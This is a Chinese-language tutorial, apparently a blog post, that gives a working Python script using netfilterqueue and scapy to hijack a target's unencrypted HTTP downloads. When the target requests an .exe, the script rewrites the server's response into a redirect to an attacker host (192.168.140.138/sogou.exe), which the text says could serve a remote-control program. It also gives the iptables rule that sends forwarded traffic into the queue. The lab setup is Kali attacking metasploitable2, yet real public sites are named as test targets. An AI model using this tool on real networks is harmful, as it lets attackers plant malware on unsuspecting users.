利用Python第三方模块Netfilter以及Scapy修改HTTP下载文件
应用场景:目标在访问网站(HTTP,非加密)下载exe类可执行文件时,通过修改目标的HTTP请求报文,从而重定向到事先确定的第三方站点以下载特定文件(被替换后的文件)(比如远程控制类可执行文件)
应用模块:可利用Python的Netfilterqueue以及scapy第三方模块,前者主要实现对截获的报文进行队列处理,而后者可对队列中的报文进行查看、修改、转发等
实验环境:
1. 攻击平台可选择Kali Linux
2. 客户端选择metasploitable2,模拟目标在该机器上访问网站下载文件等操作
3. 由于现在HTTP网站比较少,笔者选择了网站:http://getwanip.com/testvirus.php或者http://xcal1.vodafone.co.uk/
4. 设置iptables规则:
#iptables -I FORWARD -j NFQUEUE --queue-num 0
主要代码:
import netfilterqueue from scapy.all import * ack_list = [] #存储TCP头中ACK号,由于Response报文中的Seq号等于其Request报文中的ACK号,通过这点特征将二者关联在一起 def packet_handler(pkt): #将Netfilterqueue的报文转换为Scapy的报文,以便进行查看,修改 scapy_packet = IP(pkt.get_payload()) if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP): if scapy_packet[TCP].dport == 80: if '.exe' in scapy_packet[Raw].load.decode('utf-8'): #如果发现请求报文中含有.exe,表明目标正在下载可执行文件,因此准备进行替换操作 print("To replace exe file now") ack_list.append(scapy_packet[TCP].ack) elif scapy_packet[TCP].sport == 80: if scapy_packet[TCP].seq in ack_list: ack_list.remove(scapy_packet[TCP].seq) load_change = "HTTP/1.1 301 Moved Permanently\nLocation: http://192.168.140.138/sogou.exe\n\n" scapy_packet[Raw].load = load_change.encode('utf-8') del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[TCP].chksum pkt.set_payload(bytes(scapy_packet)) pkt.accept() queue = netfilterqueue.NetfilterQueue() queue.bind(0, packet_handler) queue.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION